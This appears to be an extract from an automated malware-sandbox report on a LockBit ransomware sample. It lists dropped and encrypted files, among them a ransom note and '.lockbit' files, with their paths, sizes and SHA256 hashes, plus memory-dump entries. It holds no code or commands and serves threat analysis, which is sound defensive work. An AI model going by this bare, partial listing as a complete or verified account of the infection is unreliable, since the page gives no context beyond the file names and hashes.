                                      • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
                                      • Size 599B
                                      • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      c7d181ce-6d65-4a4d-a852-92b55c789ae9.tmp
                                      • Path C:\Users\Admin\AppData\Local\Temp\c7d181ce-6d65-4a4d-a852-92b55c789ae9.tmp
                                      • Size 242KB
                                      • SHA256 81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      LockBit-note.hta
                                      • Path C:\Users\Admin\Desktop\LockBit-note.hta
                                      • Size 17KB
                                      • SHA256 aea37898d6b945d8f63d83c399bc8a41e59b09264b3522d285b311bec54cb919
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      ApproveBlock.ps1xml.lockbit
                                      • Path C:\Users\Admin\Downloads\ApproveBlock.ps1xml.lockbit
                                      • Size 334KB
                                      • SHA256 5f303ceece25648d2c083d69e16b36aa60885117e043ac57120d4efc0f95e91c
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      BackupPush.svg.lockbit
                                      • Path C:\Users\Admin\Downloads\BackupPush.svg.lockbit
                                      • Size 793KB
                                      • SHA256 015806b9e6c8ac249bdffcc5da1dd98dbde8b822e0e36428f219022d6238f0d4
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      Restore-My-Files.txt
                                      • Path C:\Users\Admin\Downloads\Restore-My-Files.txt
                                      • Size 1KB
                                      • SHA256 ad101bad32725d5a1c03a5018c5e16dac699424fb5e76a317c957b3bb07760d5
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      desktop.ini
                                      • Path \Device\HarddiskVolume3\$RECYCLE.BIN\S-1-5-21-461973139-3212354679-1508698038-1000\desktop.ini
                                      • Size 129B
                                      • SHA256 e1b9ce9b57957b1a0607a72a057d6b7a9b34ea60f3f8aa8f38a3af979bd23066
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      memory/2300-14542-0x000000000E870000-0x000000000E91E000-memory.dmp
                                      Download

                                      memory/4048-14366-0x00000291801E0000-0x00000291802E0000-memory.dmp
                                      Download

                                      memory/4048-14373-0x0000029182E20000-0x0000029182F20000-memory.dmp
                                      Download

                                      memory/4048-14364-0x00000291801E0000-0x00000291802E0000-memory.dmp
                                      Download

                                      memory/4048-14410-0x00000291841E0000-0x0000029184200000-memory.dmp
                                      Download

                                      memory/4048-14365-0x00000291801E0000-0x00000291802E0000-memory.dmp
                                      Download

                                      memory/4048-14390-0x0000029182C60000-0x0000029182C80000-memory.dmp
                                      Download

                                      memory/4048-14371-0x0000029182A00000-0x0000029182A20000-memory.dmp
                                      Download

                                      memory/4048-14543-0x0000029189A70000-0x0000029189C53000-memory.dmp
                                      Download